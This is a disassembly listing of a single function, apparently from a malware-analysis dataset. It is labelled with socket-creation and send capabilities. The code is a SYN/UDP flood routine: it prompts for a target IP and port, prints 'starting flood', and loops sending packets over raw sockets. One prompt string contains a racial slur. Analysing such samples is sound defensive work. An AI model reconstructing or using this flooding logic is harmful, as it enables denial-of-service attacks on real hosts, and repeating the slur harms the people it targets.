Function at 0x4015fb
Capabilities:
Create raw socket
Create tcp socket
Create udp socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, 0xb138
call fcn.004024e0
sub esp, eax
mov byte [ebp - 0xd], 0x10
movsx eax, byte [ebp - 0xd]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x1f90
mov dword [esp + 4], str..syn__d__s
lea eax, [ebp - 0xaaa0]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0xaaa0]
mov dword [esp + 4], eax
mov dword [esp], str.put_in_command:__s_n
call sym._printf
movsx eax, byte [ebp - 0xd]
movzx eax, byte [eax]
test al, al
je 0x401661
mov dword [esp], str.the_digit_is_bigger_than_17_please_put_in_a_valid_ip
call sym._printf
mov dword [esp + 4], 0x1f90
mov dword [esp], str.put_in_port:__n
call sym._printf
mov eax, 0x1f90
movzx eax, byte [eax]
test al, al
je 0x40168d
mov dword [esp], str.invalid_port
call sym._printf
lea eax, [ebp - 0xaaa0]
mov dword [esp + 4], eax
mov dword [esp], str.put_the_niggers_ip_here
call sym._printf
call sym._rand
mov edx, eax
mov eax, edx
sar eax, 0x1f
shr eax, 0x1f
add edx, eax
and edx, 1
sub edx, eax
mov eax, edx
movzx eax, byte [eax + 0x4110a0]
movsx eax, al
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x4163a0
mov dword [esp + 8], 0x4118a0
mov dword [esp + 4], str.PGET
mov dword [esp], 0x4120a0
call sym._sprintf
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._printf
mov dword [ebp - 0xaaa4], str.lXfYC7TFaCq5Hv982wuIiKcHlgFA0jEsW2OFQStO7x6zN9dBgayyWgvbk0L3lZClzJCmFG3GVNDFc2iTHNYy7gss8dHboBdeKE1VcblH1AxrVyiqokw2RYFvd4cd1QxyaHawwP6go9feBeHdlvMRDLbEbty3Py8yVT3UTjy3ZKONXmMNvURTUZTkeH37XT9H5JwH0vKB1Yw2rSYkTwcTvx6OltSIlahFg92uCRbLM8amh8GaGGGRw56iNUTGLgi395vj9ZVVeP01k7Tvq3NRvxo______________________________________________________
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x1c], 0x14
mov dword [ebp - 0xaaac], 0x64
movsx eax, byte [ebp - 0xd]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x1f90
mov dword [esp + 4], str..flood__d__s
lea eax, [ebp - 0xaaa0]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0xaaa0]
mov dword [esp + 4], eax
mov dword [esp], str.put_in_command:__s_n
call sym._printf
mov dword [esp], str.starting_flood.....
call sym._printf
jmp 0x40182b
mov dword [esp + 8], 0x11
mov dword [esp + 4], 3
mov dword [esp], 2
call sym._socket_12
sub esp, 0xc
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0xb110]
mov dword [0x409024], eax
mov eax, dword [ebp - 0xc]
lea edx, [eax*4]
lea eax, [ebp - 0xb110]
add eax, edx
mov dword [0x409028], eax
mov eax, dword [ebp - 0xc]
lea edx, [eax*8]
lea eax, [ebp - 0xb110]
add eax, edx
mov dword [0x40902c], eax
mov eax, dword [ebp - 0x20]
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov edx, dword [ebp - 0xc]
mov dword [esp + 8], edx
lea edx, [ebp - 0xca0]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._sendto_24
sub esp, 0x18
mov eax, dword [ebp - 0xaaac]
mov edx, eax
mov eax, dword [ebp - 0x20]
mov dword [esp + 0xc], edx
mov edx, dword [ebp - 0x1c]
mov dword [esp + 8], edx
lea edx, [ebp - 0xaaa4]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._send_16
sub esp, 0x10
add dword [ebp - 0xc], 1
mov edx, dword [ebp - 0xc]
lea eax, [ebp - 0xb110]
cmp edx, eax
jb 0x40176a
nop
leave
ret